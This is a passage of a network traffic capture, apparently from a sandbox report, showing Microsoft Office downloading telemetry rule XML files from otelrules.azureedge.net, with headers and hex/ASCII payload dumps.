O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-15 08:55:09 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-15 08:55:09 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49704	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:11 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:11 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:11 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: e7102de9-901e-0029-7d09-37274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085511Z-16547b76f7f7rtshhC1DFWrtqn0000000mx000000000a3w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:11 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49706	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:11 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:11 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 43e60c6b-601e-00ab-6109-3766f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085511Z-1866b5c5fbbzzh8chC1DFWdrc400000000tg00000000230a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:11 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49702	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:11 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:11 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ea341ef8-a01e-0098-41af-368556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085511Z-1866b5c5fbbg6vdshC1DFW20h8000000012g00000000fg2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:11 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49705	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:11 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:11 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 802248f8-d01e-0049-6b0c-36e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085511Z-164f84587bfmnndshC1DFWz4c800000000xg0000000036wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:11 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49703	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:11 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:11 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:11 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085511Z-16547b76f7fw2955hC1DFWsptc00000001g000000000ccfe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:11 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:12 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:12 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: c134a622-501e-008c-78af-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085512Z-16547b76f7fbkfmzhC1DFWm9tw00000000n000000000cm7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:12 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:12 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a1556400-c01e-008e-3a12-367381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085512Z-164f84587bft9l9khC1DFW32rc00000000yg00000000bpam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:12 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:12 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085512Z-16547b76f7fxdzxghC1DFWmf7n0000000mzg00000000a0ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:12 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:12 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:12 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:12 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: a427850a-601e-0097-52af-36f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085512Z-16547b76f7f9s8x7hC1DFWywrg00000000wg0000000050h8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:12 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:12 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085512Z-16547b76f7f7rtshhC1DFWrtqn0000000mv000000000f8t1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:12 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: bf72ccbe-301e-001f-25a0-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085512Z-164f84587bfgp2sdhC1DFWyhvn000000014000000000h7an x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
